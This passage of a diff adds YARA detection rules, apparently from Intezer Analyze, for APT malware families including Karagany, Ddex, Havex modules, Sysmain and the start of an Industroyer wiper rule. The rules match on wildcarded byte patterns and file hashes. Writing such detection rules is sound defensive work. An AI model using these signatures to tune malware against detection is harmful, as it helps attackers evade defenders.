+		$block_6 = { 8D ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 83 ?? ?? 0F 84 }
+		$block_7 = { 8B ?? ?? ?? 8D ?? ?? ?? 83 ?? ?? 5? 66 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 83 ?? ?? 0F 85 }
+		$block_8 = { 68 ?? ?? ?? ?? 6A ?? 6A ?? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_9 = { 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 8B ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+
+	condition:
+		hash.sha256(0, filesize) == "fc54d8afd2ce5cb6cc53c46783bf91d0dd19de604308d536827320826bc36ed9" or
+		10 of them
+}
+
+rule KaraganyModuleFileListing {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 0F B7 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 66 ?? ?? ?? A1 ?? ?? ?? ?? 89 ?? ?? 0F B7 ?? ?? ?? ?? ?? 89 ?? ?? 0F B7 ?? ?? ?? ?? ?? 89 ?? ?? 0F B7 ?? ?? ?? ?? ?? 66 ?? ?? ?? 8B ?? ?? ?? ?? ?? 66 ?? ?? ?? 8B ?? ?? ?? ?? ?? 66 ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? 0F B7 ?? ?? ?? ?? ?? 88 ?? ?? A1 ?? ?? ?? ?? 89 ?? ?? 0F B7 ?? ?? ?? ?? ?? 89 ?? ?? 0F B7 ?? ?? ?? ?? ?? 66 ?? ?? ?? 8B ?? ?? ?? ?? ?? 66 ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 66 ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? 89 ?? ?? 0F B6 ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 66 ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? 88 ?? ?? 0F B6 ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 66 ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? 89 ?? ?? 0F B7 ?? ?? ?? ?? ?? 88 ?? ?? 8B ?? ?? ?? ?? ?? 88 ?? ?? 89 ?? ?? 66 ?? ?? ?? 8D ?? ?? 8D ?? ?? 8D ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8D ?? ?? 8D ?? ?? 8D ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8D ?? ?? 8D ?? ?? 8D ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? 8D ?? ?? 8D ?? ?? 8D ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? 8D }
+		$block_1 = { 8D ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 83 ?? ?? 68 ?? ?? ?? ?? FF D? 68 ?? ?? ?? ?? FF D? 68 ?? ?? ?? ?? FF D? 68 ?? ?? ?? ?? FF D? 68 ?? ?? ?? ?? FF D? 68 ?? ?? ?? ?? FF D? 68 ?? ?? ?? ?? FF D? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? FF 1? ?? ?? ?? ?? C1 ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_2 = { 0F B7 ?? ?? 0F B7 ?? ?? 0F B7 ?? ?? 5? 0F B7 ?? ?? 5? 0F B7 ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? 5? 5? 8D ?? ?? ?? ?? ?? 5? 5? 8D ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 83 ?? ?? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B ?? FF 1? ?? ?? ?? ?? 8B ?? 83 ?? ?? 74 }
+		$block_3 = { 0F B7 ?? ?? 0F B7 ?? ?? 0F B7 ?? ?? 5? 0F B7 ?? ?? 5? 0F B7 ?? ?? 5? 5? 5? 8D ?? ?? ?? ?? ?? 5? 5? 8D ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 83 ?? ?? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B ?? FF 1? ?? ?? ?? ?? 8B ?? 83 ?? ?? 0F 84 }
+		$block_4 = { 8A ?? ?? 8D ?? ?? ?? ?? ?? 04 ?? 5? 88 ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 83 ?? ?? 0F 85 }
+		$block_5 = { 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? F6 ?? ?? ?? 0F 84 }
+		$block_6 = { 8B ?? ?? 8D ?? ?? ?? ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_7 = { 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? FF D? 85 ?? 0F 84 }
+
+	condition:
+		hash.sha256(0, filesize) == "07bd08b07de611b2940e886f453872aa8d9b01f9d3c61d872d6cfe8cde3b50d4" or
+		8 of them
+}
+
+rule Ddex_loader {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 5? 5? 68 ?? ?? ?? ?? 6A ?? 5? FF 1? ?? ?? ?? ?? 8B ?? FF 1? ?? ?? ?? ?? 8B ?? 8D ?? ?? 5? FF 1? ?? ?? ?? ?? 0F B7 ?? ?? 5? 0F B7 ?? ?? 5? 0F B7 ?? ?? 5? 0F B7 ?? ?? 5? 0F B7 ?? ?? 5? 0F B7 ?? ?? 5? 5? 68 ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 83 ?? ?? 5? E8 ?? ?? ?? ?? 5? 5? FF 7? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 85 ?? 75 }
+		$block_1 = { FF 3? ?? ?? ?? ?? FF 7? ?? FF 7? ?? FF 3? ?? ?? ?? ?? FF 7? ?? 68 ?? ?? ?? ?? FF 3? FF 1? ?? ?? ?? ?? 83 ?? ?? FF 3? E8 ?? ?? ?? ?? FF 7? ?? 8B ?? ?? 5? FF 7? ?? 89 ?? FF D? FF 7? ?? 5? FF 7? ?? FF D? 5? 33 ?? 5? 4? 5? C9 C2 }
+		$block_2 = { 0F B7 ?? ?? 5? 0F B7 ?? ?? 5? 0F B7 ?? ?? 5? 0F B7 ?? ?? 5? 0F B7 ?? ?? 5? 68 ?? ?? ?? ?? FF 7? ?? FF 1? ?? ?? ?? ?? 83 ?? ?? FF 7? ?? E8 ?? ?? ?? ?? 8D ?? ?? 5? 5? FF 7? ?? 89 ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 8B ?? 3B ?? 74 }
+		$block_3 = { 5? 8B ?? 83 ?? ?? 5? 5? 5? FF 1? ?? ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? BB ?? ?? ?? ?? 5? 89 ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 8D ?? ?? A5 A5 68 ?? ?? ?? ?? A5 E8 ?? ?? ?? ?? 85 ?? 75 }
+		$block_4 = { 83 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8D ?? ?? ?? 5? 5? 5? E8 ?? ?? ?? ?? 5? 33 ?? 5? 5? 8B ?? FF D? 39 ?? ?? ?? 0F 86 }
+		$block_5 = { 5? 5? 83 ?? ?? ?? ?? 5? 5? 5? 8B ?? ?? ?? ?? ?? 5? 8B ?? ?? ?? 68 ?? ?? ?? ?? 5? FF D? 5? 5? 85 ?? 0F 84 }
+		$block_6 = { 6A ?? 5? E8 ?? ?? ?? ?? 5? 5? 8D ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 8D ?? ?? A5 A5 A5 83 ?? ?? ?? 74 }
+		$block_7 = { 0F B7 ?? ?? 5? 5? 6A ?? 5? 5? 5? FF 3? 5? FF 1? ?? ?? ?? ?? 89 ?? ?? ?? 3B ?? 75 }
+		$block_8 = { 5? E8 ?? ?? ?? ?? 3B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? 0F 84 }
+		$block_9 = { 5? 68 ?? ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+
+	condition:
+		hash.sha256(0, filesize) == "7a115335c971ad4f15af10ea54e2d3a6db08c73815861db4526335b81ebde253" or
+		hash.sha256(0, filesize) == "76b272828c68b5c6d3693809330555b5a1a6a8bda73228c8edc37afca78a21d6" or
+		hash.sha256(0, filesize) == "377a9c610cc17bbf19470b1a3f847b74e0f56d4f4fd57a3298c630dab403acea" or
+		hash.sha256(0, filesize) == "3094ac9d2eeb17d4cda19542f816d15619b4c3fec52b87fdfcd923f4602d827b" or
+		10 of them
+}
+
+rule HavexLoader {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 8B ?? ?? 03 ?? 0F AF ?? 8D ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 72 }
+		$block_1 = { 66 ?? ?? 66 ?? ?? ?? 66 ?? 33 ?? 4? 5? 0F B7 ?? 8B ?? 66 ?? ?? 0F B7 ?? 4? 83 ?? ?? 7D }
+		$block_2 = { 8B ?? ?? 33 ?? 66 ?? ?? ?? 8B ?? ?? 0F B6 ?? ?? C1 ?? ?? C1 ?? ?? 0B ?? FF 0? ?? 4? 79 }
+		$block_3 = { E8 ?? ?? ?? ?? 2B ?? ?? 8B ?? C1 ?? ?? 89 ?? ?? 8B ?? ?? 89 ?? ?? 83 ?? ?? 0F 83 }
+		$block_4 = { 5? 8B ?? 0F B7 ?? ?? 83 ?? ?? 33 ?? 4? 5? 8B ?? 66 ?? ?? 0F B7 ?? 4? 83 ?? ?? 7D }
+		$block_5 = { 6A ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F B7 ?? 72 }
+		$block_6 = { 8D ?? ?? 83 ?? ?? ?? 5? 33 ?? 8B ?? AB AB AB AB 33 ?? 8D ?? ?? AB AB AB AB 5? }
+		$block_7 = { 8B ?? ?? 33 ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? ?? ?? ?? 38 ?? ?? 0F 84 }
+		$block_8 = { 8B ?? ?? 8D ?? ?? A5 A5 A5 A5 FF 1? ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? C3 }
+		$block_9 = { 8D ?? ?? ?? ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 3B ?? 0F 84 }
+		$block_10 = { 80 B? ?? ?? ?? ?? ?? 8D ?? ?? 0F 94 ?? 0F B6 ?? 5? 5? E8 ?? ?? ?? ?? EB }
+		$block_11 = { E8 ?? ?? ?? ?? 8B ?? ?? 2B ?? ?? 6A ?? 99 5? F7 ?? FF 7? ?? 3B ?? 0F 83 }
+		$block_12 = { 66 ?? ?? ?? 8B ?? ?? ?? ?? ?? 66 ?? ?? ?? 4? 83 ?? ?? 0F B7 ?? 0F 8C }
+		$block_13 = { 5? FF 7? ?? 5? E8 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 84 }
+		$block_14 = { 8B ?? ?? ?? ?? ?? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_15 = { 8B ?? ?? 8B ?? ?? 8D ?? ?? A5 A5 A5 6A ?? A5 0F B6 ?? ?? 5? 2B ?? 5? }
+		$block_16 = { 5? 8B ?? 83 ?? ?? 83 ?? ?? 8A ?? ?? 5? 5? 5? 89 ?? ?? ?? 84 ?? 0F 85 }
+		$block_17 = { 2B ?? ?? 8B ?? C1 ?? ?? 89 ?? ?? 8B ?? ?? 89 ?? ?? 83 ?? ?? 0F 83 }
+		$block_18 = { 68 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 8A ?? ?? ?? ?? ?? 3C ?? 0F 84 }
+		$block_19 = { 33 ?? 83 ?? ?? ?? 0F 95 ?? 4? 83 ?? ?? 83 ?? ?? 89 ?? ?? EB }
+		$block_20 = { 0F B6 ?? ?? 33 ?? 8A ?? ?? ?? ?? ?? 30 ?? 0F B6 ?? 4? 4? 75 }
+		$block_21 = { 8A ?? ?? ?? ?? ?? 8D ?? ?? ?? 30 ?? 0F B6 ?? 4? 83 ?? ?? 72 }
+		$block_22 = { 8B ?? ?? 2B ?? ?? 6A ?? 99 5? F7 ?? FF 7? ?? 3B ?? 0F 83 }
+		$block_23 = { 8B ?? E8 ?? ?? ?? ?? 0F B7 ?? 0F B7 ?? 83 ?? ?? 3B ?? 7F }
+		$block_24 = { 6A ?? FF 1? ?? ?? ?? ?? 8B ?? ?? ?? 8A ?? ?? 84 ?? 0F 84 }
+		$block_25 = { 8B ?? ?? 2B ?? ?? 6A ?? 99 5? F7 ?? 39 ?? ?? 0F 83 }
+		$block_26 = { 0F B6 ?? 8B ?? ?? ?? ?? ?? C1 ?? ?? 4? 83 ?? ?? 7C }
+		$block_27 = { 8B ?? ?? 5? 33 ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? C9 C3 }
+		$block_28 = { 6A ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 5? 5? C9 C3 }
+
+	condition:
+		hash.sha256(0, filesize) == "401215e6ae0b80cb845c7e2910dddf08af84c249034d76e0cf1aa31f0cf2ea67" or
+		12 of them
+}
+
+rule HavexModuleOutlook {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 8B ?? ?? 03 ?? 0F AF ?? 8D ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 72 }
+		$block_1 = { 8B ?? ?? 33 ?? 66 ?? ?? ?? 8B ?? ?? 0F B6 ?? ?? C1 ?? ?? C1 ?? ?? 0B ?? FF 0? ?? 4? 79 }
+		$block_2 = { 89 ?? ?? ?? ?? ?? 8B ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? FF 4? ?? 0F 85 }
+		$block_3 = { 8B ?? ?? 33 ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? ?? ?? ?? 38 ?? ?? 0F 84 }
+		$block_4 = { E8 ?? ?? ?? ?? 8B ?? ?? 2B ?? ?? 6A ?? 99 5? F7 ?? FF 7? ?? 3B ?? 0F 83 }
+		$block_5 = { 8B ?? ?? ?? ?? ?? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_6 = { 66 ?? ?? ?? 8B ?? ?? ?? ?? ?? 66 ?? ?? ?? 4? 83 ?? ?? 0F B7 ?? 0F 8C }
+		$block_7 = { 5? 8B ?? 83 ?? ?? 5? 5? 33 ?? 8D ?? ?? AB AB AB AB 83 ?? ?? ?? C7 }
+		$block_8 = { 33 ?? 83 ?? ?? ?? 0F 95 ?? 4? 83 ?? ?? 83 ?? ?? 89 ?? ?? EB }
+		$block_9 = { 8B ?? ?? 2B ?? ?? 6A ?? 99 5? F7 ?? FF 7? ?? 3B ?? 0F 83 }
+		$block_10 = { 8B ?? E8 ?? ?? ?? ?? 0F B7 ?? 0F B7 ?? 83 ?? ?? 3B ?? 7F }
+		$block_11 = { 8D ?? ?? 8B ?? E8 ?? ?? ?? ?? 83 ?? ?? FF 4? ?? 0F 85 }
+		$block_12 = { 0F B6 ?? 8B ?? ?? ?? ?? ?? C1 ?? ?? 4? 83 ?? ?? 7C }
+		$block_13 = { 8B ?? ?? 8B ?? ?? 33 ?? 5? E8 ?? ?? ?? ?? C9 C3 }
+
+	condition:
+		hash.sha256(0, filesize) == "0859cb511a12f285063ffa8cb2a5f9b0b3c6364f8192589a7247533fda7a878e" or
+		12 of them
+}
+
+rule HavexModuleNetworkScanner {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 8D ?? ?? ?? ?? ?? 5? FF 7? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8B ?? 5? 89 ?? ?? 8B ?? D1 ?? 5? 8B ?? ?? ?? ?? ?? 0F B6 ?? ?? 0F B6 ?? 80 E? ?? C0 ?? ?? D3 ?? 8B ?? ?? ?? ?? ?? 0F B7 ?? ?? 83 ?? ?? C1 ?? ?? 0B ?? 33 ?? 4? 89 ?? ?? 89 ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? 89 ?? ?? FF 4? ?? 8B ?? ?? 33 ?? 3B ?? 0F 94 ?? 89 ?? ?? 33 ?? 89 }
+		$block_1 = { 8B ?? ?? 03 ?? 8D ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? 8B ?? E8 ?? ?? ?? ?? FF 7? ?? 8B ?? ?? FF 7? ?? 8B ?? FF 7? ?? FF 3? FF 7? ?? FF 7? ?? E8 ?? ?? ?? ?? 5? 5? B0 ?? 5? C9 C3 }
+		$block_2 = { FF 7? ?? 33 ?? 4? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? ?? 83 ?? ?? 33 ?? C6 ?? ?? ?? 89 ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 84 ?? 0F 85 }
+		$block_3 = { 8B ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? FF 7? ?? 88 ?? 0F BE ?? 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 74 }
+		$block_4 = { 8B ?? ?? 03 ?? 0F AF ?? 8D ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 72 }
+		$block_5 = { 8B ?? ?? 33 ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? ?? ?? ?? 38 ?? ?? 0F 84 }
+		$block_6 = { 33 ?? 83 ?? ?? ?? 0F 95 ?? 4? 83 ?? ?? 83 ?? ?? 89 ?? ?? EB }
+
+	condition:
+		hash.sha256(0, filesize) == "2120c3a30870921ab5e03146a1a1a865dd24a2b5e6f0138bf9f2ebf02d490850" or
+		hash.sha256(0, filesize) == "9a2a8cb8a0f4c29a7c2c63ee58e55aada0a3895382abe7470de4822a4d868ee6" or
+		7 of them
+}
+
+rule Sysmain {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 8B ?? ?? ?? 33 ?? AB AB AB 8B ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? FF 7? ?? ?? E8 ?? ?? ?? ?? 85 ?? 75 }
+		$block_1 = { FF 1? ?? ?? ?? ?? 83 ?? ?? ?? 8D ?? ?? 5? 6A ?? 5? 89 ?? ?? FF 1? ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_2 = { 5? 8B ?? 81 E? ?? ?? ?? ?? 8B ?? ?? 0F B7 ?? 5? 83 ?? ?? 6A ?? 99 5? F7 ?? 8B ?? 39 ?? ?? 77 }
+		$block_3 = { 6A ?? 8D ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 5? FF B? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_4 = { 8B ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 3? FF D? FF 7? ?? ?? FF 1? ?? ?? ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_5 = { 89 ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 5? 85 ?? 0F 84 }
+		$block_6 = { 8B ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? 8B ?? D3 ?? 83 ?? ?? 0F B7 ?? 8B ?? ?? 66 ?? ?? ?? 7D }
+		$block_7 = { 8D ?? ?? 8D ?? ?? A5 A5 A5 8D ?? ?? 5? A5 FF 1? ?? ?? ?? ?? 66 ?? ?? ?? 66 ?? ?? ?? 75 }
+		$block_8 = { FF 3? E8 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? ?? 81 7? ?? ?? ?? ?? ?? 5? 5? 0F 8E }
+		$block_9 = { 8D ?? ?? ?? ?? ?? ?? 0F B6 ?? 5? E8 ?? ?? ?? ?? 4? 5? 88 ?? 3B ?? ?? ?? ?? ?? 72 }
+		$block_10 = { FF 4? ?? ?? 8B ?? ?? ?? 8B ?? ?? ?? 8B ?? ?? C1 ?? ?? 89 ?? ?? ?? 39 ?? ?? 0F 85 }
+		$block_11 = { 8B ?? ?? ?? 33 ?? AB AB AB E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? ?? 85 ?? 0F 84 }
+		$block_12 = { 5? FF 1? ?? ?? ?? ?? 83 ?? ?? ?? 8D ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_13 = { 8B ?? ?? ?? ?? ?? 5? 5? 33 ?? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_14 = { 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? 8D ?? ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? 0F 86 }
+		$block_15 = { BE ?? ?? ?? ?? 8D ?? ?? ?? A5 A5 A5 8D ?? ?? ?? A5 E8 ?? ?? ?? ?? 85 ?? 74 }
+		$block_16 = { 5? 5? 5? 5? 68 ?? ?? ?? ?? FF 9? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 3B ?? 0F 84 }
+		$block_17 = { 8B ?? ?? ?? ?? ?? 5? 33 ?? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C2 }
+		$block_18 = { 8B ?? ?? ?? ?? ?? 8B ?? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_19 = { BE ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 5? 5? 85 ?? 0F 84 }
+		$block_20 = { 8B ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 5? 5? 85 ?? 0F 84 }
+		$block_21 = { 8B ?? ?? ?? ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_22 = { 8B ?? ?? ?? ?? ?? 8B ?? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_23 = { FF 4? ?? ?? 8B ?? ?? ?? 8B ?? ?? ?? 8B ?? ?? C1 ?? ?? 83 ?? ?? ?? 0F 85 }
+		$block_24 = { 8B ?? ?? FF 3? E8 ?? ?? ?? ?? FF 3? E8 ?? ?? ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_25 = { 6A ?? 8D ?? ?? 6A ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? 5? 5? C9 C3 }
+		$block_26 = { FF 4? ?? ?? 8B ?? ?? FF 4? ?? 83 ?? ?? ?? 88 ?? ?? ?? ?? ?? ?? 0F 85 }
+		$block_27 = { 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 5? 5? 85 ?? 0F 84 }
+		$block_28 = { 8D ?? ?? ?? ?? ?? 5? FF B? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_29 = { 8B ?? ?? ?? ?? ?? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_30 = { 8B ?? ?? ?? ?? ?? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C2 }
+		$block_31 = { FF 4? ?? 8B ?? ?? ?? ?? ?? FF 4? ?? 8D ?? ?? 3B ?? 89 ?? ?? 0F 8C }
+		$block_32 = { 6A ?? 8D ?? ?? 6A ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? 5? C9 C3 }
+		$block_33 = { 68 ?? ?? ?? ?? FF 7? ?? ?? 8D ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_34 = { FF 7? ?? ?? 5? 6A ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_35 = { 8B ?? ?? ?? ?? ?? 33 ?? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_36 = { 8D ?? ?? ?? 0F B6 ?? 5? E8 ?? ?? ?? ?? 4? 5? 88 ?? 3B ?? ?? 72 }
+		$block_37 = { 8B ?? ?? ?? ?? ?? 33 ?? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C2 }
+		$block_38 = { 8B ?? ?? 8B ?? ?? 8B ?? ?? 8D ?? ?? 0F B6 ?? ?? 2B ?? ?? 75 }
+		$block_39 = { 6A ?? E8 ?? ?? ?? ?? 8B ?? 5? 89 ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_40 = { FF 3? E8 ?? ?? ?? ?? FF 3? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_41 = { 8B ?? ?? 8B ?? ?? ?? ?? ?? 33 ?? 5? E8 ?? ?? ?? ?? C9 C3 }
+		$block_42 = { 8D ?? ?? ?? 5? FF 7? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_43 = { FF 8? ?? ?? ?? ?? 81 B? ?? ?? ?? ?? ?? ?? ?? ?? 0F 8E }
+		$block_44 = { BE ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 5? 89 ?? 85 ?? 0F 84 }
+		$block_45 = { 8B ?? ?? 8B ?? ?? ?? ?? ?? 33 ?? E8 ?? ?? ?? ?? C9 C3 }
+		$block_46 = { 8B ?? ?? 8B ?? ?? 33 ?? E8 ?? ?? ?? ?? 83 ?? ?? C9 C3 }
+		$block_47 = { BF ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 5? 89 ?? 85 ?? 0F 84 }
+		$block_48 = { 68 ?? ?? ?? ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_49 = { 5? 5? 6A ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_50 = { 0F B6 ?? 8B ?? ?? ?? ?? ?? C1 ?? ?? 4? 83 ?? ?? 7C }
+		$block_51 = { 8B ?? ?? 5? 5? 33 ?? 33 ?? 5? E8 ?? ?? ?? ?? C9 C3 }
+		$block_52 = { 6A ?? E8 ?? ?? ?? ?? 8B ?? 5? 89 ?? ?? 85 ?? 0F 84 }
+		$block_53 = { 8B ?? ?? 5? 5? 33 ?? 33 ?? 5? E8 ?? ?? ?? ?? C9 C2 }
+		$block_54 = { 8B ?? ?? 5? 33 ?? 33 ?? 5? E8 ?? ?? ?? ?? C9 C2 }
+		$block_55 = { 5? BB ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 85 ?? 0F 86 }
+		$block_56 = { FC 6B ?? ?? 64 ?? ?? ?? 8B ?? ?? 8B ?? ?? AD 8B }
+
+	condition:
+		hash.sha256(0, filesize) == "387d4ea82c51ecda162a3ffd68a3aca5a21a20a46dc08a0ebe51b03b7984abe9" or
+		hash.sha256(0, filesize) == "d5e3122a263d3f66dcfa7c2fed25c2b8a3be725b2c934fa9d9ef4c5aefbc6cb9" or
+		hash.sha256(0, filesize) == "dc75404b6fc8cdb73258c2cc7bc758347ffb4237c8d18222f3489dc303daf989" or
+		hash.sha256(0, filesize) == "81e5e73452aa8b14f6c6371af2dccab720a32fadfc032b3c8d96f9cdaab9e9df" or
+		hash.sha256(0, filesize) == "a8e6abaa0ddc34b9db6bda17b502be7f802fb880941ce2bd0473fd9569113599" or
+		hash.sha256(0, filesize) == "53d2a3324f276f29c749727c20708a3421a5144046ce14a8e025a8133316e0ac" or
+		hash.sha256(0, filesize) == "31488f632f5f7d3ec0ea82eab1f9baba16826967c3a6fa141069ef5453b1eb95" or
+		12 of them
+}
+
+rule IndustroyerWiper {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
